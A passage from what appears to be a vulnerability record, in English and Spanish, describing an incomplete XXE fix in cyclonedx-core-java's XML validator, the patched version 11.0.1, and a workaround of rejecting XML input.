The fix for GHSA-683x-4444-jxh8 / CVE-2024-38374 was incomplete in that it only fixed parsing of XML BOMs, but not validation. The vulnerability has been fixed in cyclonedx-core-java version 11.0.1. As a workaround, applications can reject XML documents before handing them to cyclonedx-core-java for validation. This may be an option if incoming CycloneDX BOMs are known to be in JSON format."}, {"lang": "es", "value": "El módulo central de CycloneDX proporciona una representación de modelo del SBOM junto con utilidades para ayudar en la creación, validación y análisis de SBOMs. A partir de la versión 2.1.0 y antes de la versión 11.0.1, el 'Validator' XML utilizado por cyclonedx-core-java no estaba configurado de forma segura, haciendo que la librería fuera vulnerable a la inyección de entidad externa XML (XXE). La corrección para GHSA-683x-4444-jxh8 / CVE-2024-38374 fue incompleta ya que solo corrigió el análisis de los BOMs XML, pero no la validación. La vulnerabilidad ha sido corregida en la versión 11.0.1 de cyclonedx-core-java. Como solución alternativa, las aplicaciones pueden rechazar documentos XML antes de entregarlos a cyclonedx-core-java para su validación.
